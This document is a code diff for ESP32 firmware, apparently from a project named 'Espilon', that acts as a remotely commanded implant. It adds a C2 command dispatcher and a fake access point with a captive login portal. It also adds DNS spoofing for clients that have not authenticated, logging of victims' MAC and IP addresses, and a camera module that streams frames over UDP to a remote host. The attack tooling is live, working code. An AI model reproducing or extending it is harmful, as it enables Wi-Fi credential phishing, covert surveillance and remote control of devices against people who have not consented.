|
}
|
||||||
|
|
||||||
|
*argv_out = argv_copy;
|
||||||
|
*arena_out = arena;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* =========================================================
|
||||||
|
* Dispatch nanopb command
|
||||||
* ========================================================= */
|
* ========================================================= */
|
||||||
void command_process_pb(const c2_Command *cmd)
|
void command_process_pb(const c2_Command *cmd)
|
||||||
{
|
{
|
||||||
if (!cmd) return;
|
if (!cmd) return;
|
||||||
|
|
||||||
const char *name = cmd->command_name;
|
/* nanopb: tableaux fixes => jamais NULL */
|
||||||
|
const char *name = cmd->command_name;
|
||||||
|
const char *reqid = cmd->request_id;
|
||||||
|
const char *reqid_or_null = (reqid[0] ? reqid : NULL);
|
||||||
|
|
||||||
int argc = cmd->argv_count;
|
int argc = cmd->argv_count;
|
||||||
char **argv = (char **)cmd->argv;
|
|
||||||
|
|
||||||
for (size_t i = 0; i < registry_count; i++) {
|
for (size_t i = 0; i < registry_count; i++) {
|
||||||
const command_t *c = registry[i];
|
const command_t *c = registry[i];
|
||||||
@ -44,22 +158,48 @@ void command_process_pb(const c2_Command *cmd)
|
|||||||
if (strcmp(c->name, name) != 0)
|
if (strcmp(c->name, name) != 0)
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
/* Validate argc */
|
|
||||||
if (argc < c->min_args || argc > c->max_args) {
|
if (argc < c->min_args || argc > c->max_args) {
|
||||||
msg_error("cmd", "Invalid argument count",
|
msg_error("cmd", "Invalid argument count", reqid_or_null);
|
||||||
cmd->request_id);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
|
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
|
||||||
|
|
||||||
if (c->async) {
|
if (c->async) {
|
||||||
|
/* Ton async copie déjà argv/request_id dans une queue => OK */
|
||||||
command_async_enqueue(c, cmd);
|
command_async_enqueue(c, cmd);
|
||||||
} else {
|
return;
|
||||||
c->handler(argc, argv, cmd->request_id, c->ctx);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ================================
|
||||||
|
* SYNC PATH (FIX):
|
||||||
|
* Ne PAS caster cmd->argv en char**
|
||||||
|
* On construit argv_ptrs[] depuis cmd->argv[i]
|
||||||
|
* ================================ */
|
||||||
|
if (argc > COMMAND_MAX_ARGS) {
|
||||||
|
msg_error("cmd", "Too many args", reqid_or_null);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
|
||||||
|
for (int a = 0; a < argc; a++) {
|
||||||
|
/* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */
|
||||||
|
argv_ptrs[a] = (char *)cmd->argv[a];
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Deep-copy pour rendre sync aussi safe que async */
|
||||||
|
char **argv_copy = NULL;
|
||||||
|
char *arena = NULL;
|
||||||
|
|
||||||
|
if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null))
|
||||||
|
return;
|
||||||
|
|
||||||
|
c->handler(argc, argv_copy, reqid_or_null, c->ctx);
|
||||||
|
|
||||||
|
free(argv_copy);
|
||||||
|
free(arena);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
msg_error("cmd", "Unknown command", cmd->request_id);
|
msg_error("cmd", "Unknown command", reqid_or_null);
|
||||||
}
|
}
|
||||||
|
|||||||
@ -39,6 +39,7 @@ typedef struct {
|
|||||||
* Registry
|
* Registry
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
void command_register(const command_t *cmd);
|
void command_register(const command_t *cmd);
|
||||||
|
void command_log_registry_summary(void);
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* Dispatcher (called by process.c)
|
* Dispatcher (called by process.c)
|
||||||
|
|||||||
@ -62,7 +62,7 @@ void command_async_init(void)
|
|||||||
NULL
|
NULL
|
||||||
);
|
);
|
||||||
|
|
||||||
ESP_LOGI(TAG, "Async command system ready");
|
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
|
||||||
}
|
}
|
||||||
|
|
||||||
/* =========================================================
|
/* =========================================================
|
||||||
|
|||||||
@ -36,6 +36,7 @@ void wifi_init(void)
|
|||||||
ESP_ERROR_CHECK(esp_netif_init());
|
ESP_ERROR_CHECK(esp_netif_init());
|
||||||
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
||||||
esp_netif_create_default_wifi_sta();
|
esp_netif_create_default_wifi_sta();
|
||||||
|
esp_netif_create_default_wifi_ap();
|
||||||
|
|
||||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||||
|
|||||||
@ -9,7 +9,7 @@ bool com_init(void)
|
|||||||
{
|
{
|
||||||
#ifdef CONFIG_NETWORK_WIFI
|
#ifdef CONFIG_NETWORK_WIFI
|
||||||
|
|
||||||
ESP_LOGI(TAG, "Init WiFi backend");
|
ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend");
|
||||||
|
|
||||||
wifi_init();
|
wifi_init();
|
||||||
|
|
||||||
@ -28,7 +28,7 @@ bool com_init(void)
|
|||||||
|
|
||||||
#elif defined(CONFIG_NETWORK_GPRS)
|
#elif defined(CONFIG_NETWORK_GPRS)
|
||||||
|
|
||||||
ESP_LOGI(TAG, "Init GPRS backend");
|
ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend");
|
||||||
|
|
||||||
setup_uart();
|
setup_uart();
|
||||||
setup_modem();
|
setup_modem();
|
||||||
|
|||||||
@ -192,6 +192,7 @@ bool c2_decode_and_exec(const char *frame)
|
|||||||
free(plain);
|
free(plain);
|
||||||
|
|
||||||
/* 4) Log + dispatch */
|
/* 4) Log + dispatch */
|
||||||
|
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
||||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||||
ESP_LOGI(TAG, "name: %s", cmd.command_name);
|
ESP_LOGI(TAG, "name: %s", cmd.command_name);
|
||||||
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
|
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
|
||||||
@ -200,6 +201,18 @@ bool c2_decode_and_exec(const char *frame)
|
|||||||
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||||
}
|
}
|
||||||
ESP_LOGI(TAG, "====================");
|
ESP_LOGI(TAG, "====================");
|
||||||
|
#else
|
||||||
|
ESP_LOGI(
|
||||||
|
TAG,
|
||||||
|
"C2 CMD: %s argc=%d req=%s",
|
||||||
|
cmd.command_name,
|
||||||
|
cmd.argv_count,
|
||||||
|
cmd.request_id[0] ? cmd.request_id : "-"
|
||||||
|
);
|
||||||
|
for (int i = 0; i < cmd.argv_count; i++) {
|
||||||
|
ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
process_command(&cmd);
|
process_command(&cmd);
|
||||||
return true;
|
return true;
|
||||||
|
|||||||
@ -7,6 +7,9 @@ extern "C" {
|
|||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <inttypes.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
#include "sdkconfig.h"
|
#include "sdkconfig.h"
|
||||||
#include "esp_log.h"
|
#include "esp_log.h"
|
||||||
@ -21,6 +24,36 @@ extern "C" {
|
|||||||
#define MAX_ARGS 10
|
#define MAX_ARGS 10
|
||||||
#define MAX_RESPONSE_SIZE 1024
|
#define MAX_RESPONSE_SIZE 1024
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* LOG HELPERS
|
||||||
|
* ============================================================ */
|
||||||
|
#ifdef CONFIG_LOG_COLORS
|
||||||
|
#define ESPILON_LOG_PURPLE "\033[0;35m"
|
||||||
|
#define ESPILON_LOG_RESET "\033[0m"
|
||||||
|
#else
|
||||||
|
#define ESPILON_LOG_PURPLE ""
|
||||||
|
#define ESPILON_LOG_RESET ""
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static inline void espilon_log_purple(
|
||||||
|
const char *tag,
|
||||||
|
const char *fmt,
|
||||||
|
...
|
||||||
|
) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, fmt);
|
||||||
|
|
||||||
|
printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ",
|
||||||
|
(uint32_t)esp_log_timestamp(), tag);
|
||||||
|
vprintf(fmt, args);
|
||||||
|
printf(ESPILON_LOG_RESET "\n");
|
||||||
|
|
||||||
|
va_end(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \
|
||||||
|
espilon_log_purple(tag, fmt, ##__VA_ARGS__)
|
||||||
|
|
||||||
/* Socket TCP global */
|
/* Socket TCP global */
|
||||||
extern int sock;
|
extern int sock;
|
||||||
|
|
||||||
|
|||||||
@ -1,4 +1,4 @@
|
|||||||
idf_component_register(SRCS "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||||
INCLUDE_DIRS .
|
INCLUDE_DIRS .
|
||||||
REQUIRES esp_http_server
|
REQUIRES esp_http_server
|
||||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
|
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)
|
||||||
@ -17,3 +17,18 @@ void fakeap_mark_authenticated(ip4_addr_t ip);
|
|||||||
/* Internal use only - exported for mod_web_server.c */
|
/* Internal use only - exported for mod_web_server.c */
|
||||||
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
|
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
|
||||||
extern int authenticated_count;
|
extern int authenticated_count;
|
||||||
|
|
||||||
|
/* ===== ACCESS POINT ===== */
|
||||||
|
void start_access_point(const char *ssid, const char *password, bool open);
|
||||||
|
void stop_access_point(void);
|
||||||
|
|
||||||
|
/* ===== CAPTIVE PORTAL ===== */
|
||||||
|
void *start_captive_portal(void);
|
||||||
|
void stop_captive_portal(void);
|
||||||
|
|
||||||
|
/* ===== SNIFFER ===== */
|
||||||
|
void start_sniffer(void);
|
||||||
|
void stop_sniffer(void);
|
||||||
|
|
||||||
|
/* ===== CLIENTS ===== */
|
||||||
|
void list_connected_clients(void);
|
||||||
|
|||||||
@ -5,7 +5,7 @@
|
|||||||
#include "esp_log.h"
|
#include "esp_log.h"
|
||||||
#include "esp_wifi.h"
|
#include "esp_wifi.h"
|
||||||
#include "esp_netif.h"
|
#include "esp_netif.h"
|
||||||
#include "lwip/lwip_napt.h"
|
#include "esp_event.h"
|
||||||
#include "lwip/sockets.h"
|
#include "lwip/sockets.h"
|
||||||
#include "lwip/netdb.h"
|
#include "lwip/netdb.h"
|
||||||
#include "freertos/FreeRTOS.h"
|
#include "freertos/FreeRTOS.h"
|
||||||
@ -16,6 +16,12 @@
|
|||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
static const char *TAG = "MODULE_FAKE_AP";
|
static const char *TAG = "MODULE_FAKE_AP";
|
||||||
|
static esp_netif_t *ap_netif = NULL;
|
||||||
|
static bool ap_event_registered = false;
|
||||||
|
static esp_event_handler_instance_t ap_event_instance_connect;
|
||||||
|
static esp_event_handler_instance_t ap_event_instance_disconnect;
|
||||||
|
static bool ap_ip_event_registered = false;
|
||||||
|
static esp_event_handler_instance_t ap_event_instance_ip;
|
||||||
|
|
||||||
/* ================= AUTH ================= */
|
/* ================= AUTH ================= */
|
||||||
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
|
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
|
||||||
@ -67,6 +73,95 @@ static void fakeap_reset_auth(void)
|
|||||||
xSemaphoreGive(auth_mutex);
|
xSemaphoreGive(auth_mutex);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ============================================================
|
||||||
|
* CLIENTS
|
||||||
|
* ============================================================ */
|
||||||
|
void list_connected_clients(void)
|
||||||
|
{
|
||||||
|
wifi_sta_list_t sta_list;
|
||||||
|
esp_wifi_ap_get_sta_list(&sta_list);
|
||||||
|
|
||||||
|
char buf[512];
|
||||||
|
int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num);
|
||||||
|
|
||||||
|
for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) {
|
||||||
|
off += snprintf(buf + off, sizeof(buf) - off,
|
||||||
|
" [%d] %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||||
|
i + 1,
|
||||||
|
sta_list.sta[i].mac[0], sta_list.sta[i].mac[1],
|
||||||
|
sta_list.sta[i].mac[2], sta_list.sta[i].mac[3],
|
||||||
|
sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]);
|
||||||
|
}
|
||||||
|
|
||||||
|
msg_info(TAG, buf, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void fakeap_wifi_event_handler(
|
||||||
|
void *arg,
|
||||||
|
esp_event_base_t event_base,
|
||||||
|
int32_t event_id,
|
||||||
|
void *event_data
|
||||||
|
) {
|
||||||
|
if (event_base != WIFI_EVENT) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event_id == WIFI_EVENT_AP_STACONNECTED) {
|
||||||
|
wifi_event_ap_staconnected_t *e =
|
||||||
|
(wifi_event_ap_staconnected_t *)event_data;
|
||||||
|
char msg[96];
|
||||||
|
snprintf(
|
||||||
|
msg,
|
||||||
|
sizeof(msg),
|
||||||
|
"AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)",
|
||||||
|
e->mac[0], e->mac[1], e->mac[2],
|
||||||
|
e->mac[3], e->mac[4], e->mac[5],
|
||||||
|
e->aid
|
||||||
|
);
|
||||||
|
msg_info(TAG, msg, NULL);
|
||||||
|
} else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) {
|
||||||
|
wifi_event_ap_stadisconnected_t *e =
|
||||||
|
(wifi_event_ap_stadisconnected_t *)event_data;
|
||||||
|
char msg[112];
|
||||||
|
snprintf(
|
||||||
|
msg,
|
||||||
|
sizeof(msg),
|
||||||
|
"AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)",
|
||||||
|
e->mac[0], e->mac[1], e->mac[2],
|
||||||
|
e->mac[3], e->mac[4], e->mac[5],
|
||||||
|
e->aid,
|
||||||
|
e->reason
|
||||||
|
);
|
||||||
|
msg_info(TAG, msg, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void fakeap_ip_event_handler(
|
||||||
|
void *arg,
|
||||||
|
esp_event_base_t event_base,
|
||||||
|
int32_t event_id,
|
||||||
|
void *event_data
|
||||||
|
) {
|
||||||
|
if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ip_event_ap_staipassigned_t *e =
|
||||||
|
(ip_event_ap_staipassigned_t *)event_data;
|
||||||
|
char msg[128];
|
||||||
|
snprintf(
|
||||||
|
msg,
|
||||||
|
sizeof(msg),
|
||||||
|
"AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> "
|
||||||
|
IPSTR,
|
||||||
|
e->mac[0], e->mac[1], e->mac[2],
|
||||||
|
e->mac[3], e->mac[4], e->mac[5],
|
||||||
|
IP2STR(&e->ip)
|
||||||
|
);
|
||||||
|
ESP_LOGI(TAG, "%s", msg);
|
||||||
|
msg_info(TAG, msg, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* AP
|
* AP
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
@ -90,6 +185,40 @@ void start_access_point(const char *ssid, const char *password, bool open)
|
|||||||
|
|
||||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||||
|
|
||||||
|
if (!ap_event_registered) {
|
||||||
|
ESP_ERROR_CHECK(
|
||||||
|
esp_event_handler_instance_register(
|
||||||
|
WIFI_EVENT,
|
||||||
|
WIFI_EVENT_AP_STACONNECTED,
|
||||||
|
&fakeap_wifi_event_handler,
|
||||||
|
NULL,
|
||||||
|
&ap_event_instance_connect
|
||||||
|
)
|
||||||
|
);
|
||||||
|
ESP_ERROR_CHECK(
|
||||||
|
esp_event_handler_instance_register(
|
||||||
|
WIFI_EVENT,
|
||||||
|
WIFI_EVENT_AP_STADISCONNECTED,
|
||||||
|
&fakeap_wifi_event_handler,
|
||||||
|
NULL,
|
||||||
|
&ap_event_instance_disconnect
|
||||||
|
)
|
||||||
|
);
|
||||||
|
ap_event_registered = true;
|
||||||
|
}
|
||||||
|
if (!ap_ip_event_registered) {
|
||||||
|
ESP_ERROR_CHECK(
|
||||||
|
esp_event_handler_instance_register(
|
||||||
|
IP_EVENT,
|
||||||
|
IP_EVENT_AP_STAIPASSIGNED,
|
||||||
|
&fakeap_ip_event_handler,
|
||||||
|
NULL,
|
||||||
|
&ap_event_instance_ip
|
||||||
|
)
|
||||||
|
);
|
||||||
|
ap_ip_event_registered = true;
|
||||||
|
}
|
||||||
|
|
||||||
wifi_config_t cfg = {0};
|
wifi_config_t cfg = {0};
|
||||||
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
|
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
|
||||||
cfg.ap.ssid_len = strlen(ssid);
|
cfg.ap.ssid_len = strlen(ssid);
|
||||||
@ -105,21 +234,43 @@ void start_access_point(const char *ssid, const char *password, bool open)
|
|||||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
|
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
|
||||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||||
|
|
||||||
esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
if (!ap_netif) {
|
||||||
esp_netif_ip_info_t ip;
|
ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
||||||
esp_netif_get_ip_info(ap, &ip);
|
}
|
||||||
|
if (!ap_netif) {
|
||||||
|
ap_netif = esp_netif_create_default_wifi_ap();
|
||||||
|
}
|
||||||
|
if (!ap_netif) {
|
||||||
|
ESP_LOGE(TAG, "Failed to create AP netif");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
esp_netif_dhcps_stop(ap);
|
esp_netif_ip_info_t ip = {
|
||||||
|
.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||||
|
.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||||
|
.netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0),
|
||||||
|
};
|
||||||
|
|
||||||
|
esp_netif_dhcps_stop(ap_netif);
|
||||||
|
esp_netif_set_ip_info(ap_netif, &ip);
|
||||||
esp_netif_dhcps_option(
|
esp_netif_dhcps_option(
|
||||||
ap,
|
ap_netif,
|
||||||
ESP_NETIF_OP_SET,
|
ESP_NETIF_OP_SET,
|
||||||
ESP_NETIF_DOMAIN_NAME_SERVER,
|
ESP_NETIF_DOMAIN_NAME_SERVER,
|
||||||
&ip.ip,
|
&ip.ip,
|
||||||
sizeof(ip.ip)
|
sizeof(ip.ip)
|
||||||
);
|
);
|
||||||
esp_netif_dhcps_start(ap);
|
esp_netif_dhcps_start(ap_netif);
|
||||||
|
ESP_LOGI(TAG,
|
||||||
|
"AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR,
|
||||||
|
IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask));
|
||||||
|
ESP_LOGI(TAG, "DHCP server started");
|
||||||
|
|
||||||
ip_napt_enable(ip.ip.addr, 1);
|
/*
|
||||||
|
* Note: NAPT disabled - causes crashes with lwip mem_free assertion.
|
||||||
|
* FakeAP works without NAPT (no internet sharing to clients).
|
||||||
|
* TODO: Fix NAPT if internet sharing is needed.
|
||||||
|
*/
|
||||||
|
|
||||||
dns_param_t *p = calloc(1, sizeof(*p));
|
dns_param_t *p = calloc(1, sizeof(*p));
|
||||||
p->captive_portal = open;
|
p->captive_portal = open;
|
||||||
@ -198,7 +349,10 @@ void dns_forwarder_task(void *pv)
|
|||||||
ip4_addr_t ip;
|
ip4_addr_t ip;
|
||||||
ip.addr = cli.sin_addr.s_addr;
|
ip.addr = cli.sin_addr.s_addr;
|
||||||
|
|
||||||
|
ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip));
|
||||||
|
|
||||||
if (captive && !fakeap_is_authenticated(ip)) {
|
if (captive && !fakeap_is_authenticated(ip)) {
|
||||||
|
ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP);
|
||||||
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
|
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|||||||
@ -76,6 +76,8 @@ static const char *LOGIN_PAGE =
|
|||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
static esp_err_t captive_portal_handler(httpd_req_t *req)
|
static esp_err_t captive_portal_handler(httpd_req_t *req)
|
||||||
{
|
{
|
||||||
|
ESP_LOGI(TAG, "HTTP request received: %s", req->uri);
|
||||||
|
|
||||||
struct sockaddr_in addr;
|
struct sockaddr_in addr;
|
||||||
socklen_t len = sizeof(addr);
|
socklen_t len = sizeof(addr);
|
||||||
|
|
||||||
@ -85,6 +87,7 @@ static esp_err_t captive_portal_handler(httpd_req_t *req)
|
|||||||
|
|
||||||
ip4_addr_t client_ip;
|
ip4_addr_t client_ip;
|
||||||
client_ip.addr = addr.sin_addr.s_addr;
|
client_ip.addr = addr.sin_addr.s_addr;
|
||||||
|
ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip));
|
||||||
|
|
||||||
if (is_already_authenticated(client_ip)) {
|
if (is_already_authenticated(client_ip)) {
|
||||||
httpd_resp_set_status(req, "302 Found");
|
httpd_resp_set_status(req, "302 Found");
|
||||||
|
|||||||
@ -1,4 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
void mod_ble_trilat_register_commands(void);
|
/* Camera module */
|
||||||
void mod_camera_register_commands(void);
|
void mod_camera_register_commands(void);
|
||||||
|
|
||||||
|
/* MLAT (Multilateration) module */
|
||||||
|
void mod_mlat_register_commands(void);
|
||||||
|
|||||||
@ -13,6 +13,8 @@
|
|||||||
#include <netinet/in.h>
|
#include <netinet/in.h>
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
#include "command.h"
|
#include "command.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
@ -23,7 +25,7 @@
|
|||||||
#define TAG "CAMERA"
|
#define TAG "CAMERA"
|
||||||
#define MAX_UDP_SIZE 2034
|
#define MAX_UDP_SIZE 2034
|
||||||
|
|
||||||
#if defined(CONFIG_MODULE_RECON) && defined(CONFIG_RECON_MODE_CAMERA)
|
#if defined(CONFIG_RECON_MODE_CAMERA)
|
||||||
/* ================= CAMERA PINS ================= */
|
/* ================= CAMERA PINS ================= */
|
||||||
#define CAM_PIN_PWDN 32
|
#define CAM_PIN_PWDN 32
|
||||||
#define CAM_PIN_RESET -1
|
#define CAM_PIN_RESET -1
|
||||||
@ -108,6 +110,8 @@ static void udp_stream_task(void *arg)
|
|||||||
|
|
||||||
const size_t token_len = strlen(token);
|
const size_t token_len = strlen(token);
|
||||||
uint8_t buf[MAX_UDP_SIZE + 32];
|
uint8_t buf[MAX_UDP_SIZE + 32];
|
||||||
|
uint32_t frame_count = 0;
|
||||||
|
uint32_t error_count = 0;
|
||||||
|
|
||||||
while (streaming_active) {
|
while (streaming_active) {
|
||||||
|
|
||||||
@ -118,14 +122,34 @@ static void udp_stream_task(void *arg)
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
frame_count++;
|
||||||
|
size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE;
|
||||||
|
|
||||||
|
/* DEBUG: Log frame info every 10 frames */
|
||||||
|
if (frame_count % 10 == 1) {
|
||||||
|
ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
|
||||||
|
frame_count, fb->len, num_chunks, udp_sock);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Check socket validity */
|
||||||
|
if (udp_sock < 0) {
|
||||||
|
ESP_LOGE(TAG, "socket invalid (sock=%d), stopping", udp_sock);
|
||||||
|
esp_camera_fb_return(fb);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
/* START */
|
/* START */
|
||||||
memcpy(buf, token, token_len);
|
memcpy(buf, token, token_len);
|
||||||
memcpy(buf + token_len, "START", 5);
|
memcpy(buf + token_len, "START", 5);
|
||||||
sendto(udp_sock, buf, token_len + 5, 0,
|
ssize_t ret = sendto(udp_sock, buf, token_len + 5, 0,
|
||||||
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
||||||
|
if (ret < 0) {
|
||||||
|
ESP_LOGE(TAG, "START send failed: errno=%d (%s)", errno, strerror(errno));
|
||||||
|
}
|
||||||
|
|
||||||
size_t off = 0;
|
size_t off = 0;
|
||||||
size_t rem = fb->len;
|
size_t rem = fb->len;
|
||||||
|
size_t chunk_num = 0;
|
||||||
|
|
||||||
while (rem > 0 && streaming_active) {
|
while (rem > 0 && streaming_active) {
|
||||||
size_t chunk = rem > MAX_UDP_SIZE ? MAX_UDP_SIZE : rem;
|
size_t chunk = rem > MAX_UDP_SIZE ? MAX_UDP_SIZE : rem;
|
||||||
@ -133,23 +157,39 @@ static void udp_stream_task(void *arg)
|
|||||||
memcpy(buf, token, token_len);
|
memcpy(buf, token, token_len);
|
||||||
memcpy(buf + token_len, fb->buf + off, chunk);
|
memcpy(buf + token_len, fb->buf + off, chunk);
|
||||||
|
|
||||||
if (sendto(udp_sock, buf, token_len + chunk, 0,
|
ret = sendto(udp_sock, buf, token_len + chunk, 0,
|
||||||
(struct sockaddr *)&dest_addr,
|
(struct sockaddr *)&dest_addr,
|
||||||
sizeof(dest_addr)) < 0) {
|
sizeof(dest_addr));
|
||||||
msg_error(TAG, "udp send failed", NULL);
|
|
||||||
|
if (ret < 0) {
|
||||||
|
error_count++;
|
||||||
|
ESP_LOGE(TAG, "chunk %u/%u send failed: errno=%d (%s), errors=%lu",
|
||||||
|
chunk_num, num_chunks, errno, strerror(errno), error_count);
|
||||||
|
|
||||||
|
/* Stop after too many consecutive errors */
|
||||||
|
if (error_count > 50) {
|
||||||
|
ESP_LOGE(TAG, "too many errors, stopping stream");
|
||||||
|
streaming_active = false;
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
|
} else {
|
||||||
|
error_count = 0; /* Reset on success */
|
||||||
}
|
}
|
||||||
|
|
||||||
off += chunk;
|
off += chunk;
|
||||||
rem -= chunk;
|
rem -= chunk;
|
||||||
|
chunk_num++;
|
||||||
vTaskDelay(1);
|
vTaskDelay(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* END */
|
/* END */
|
||||||
memcpy(buf, token, token_len);
|
memcpy(buf, token, token_len);
|
||||||
memcpy(buf + token_len, "END", 3);
|
memcpy(buf + token_len, "END", 3);
|
||||||
sendto(udp_sock, buf, token_len + 3, 0,
|
ret = sendto(udp_sock, buf, token_len + 3, 0,
|
||||||
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
||||||
|
if (ret < 0) {
|
||||||
|
ESP_LOGE(TAG, "END send failed: errno=%d (%s)", errno, strerror(errno));
|
||||||
|
}
|
||||||
|
|
||||||
esp_camera_fb_return(fb);
|
esp_camera_fb_return(fb);
|
||||||
vTaskDelay(pdMS_TO_TICKS(140)); /* ~7 FPS */
|
vTaskDelay(pdMS_TO_TICKS(140)); /* ~7 FPS */
|
||||||
@ -160,6 +200,7 @@ static void udp_stream_task(void *arg)
|
|||||||
udp_sock = -1;
|
udp_sock = -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ESP_LOGI(TAG, "stream stopped after %lu frames", frame_count);
|
||||||
msg_info(TAG, "stream stopped", NULL);
|
msg_info(TAG, "stream stopped", NULL);
|
||||||
vTaskDelete(NULL);
|
vTaskDelete(NULL);
|
||||||
}
|
}
|
||||||
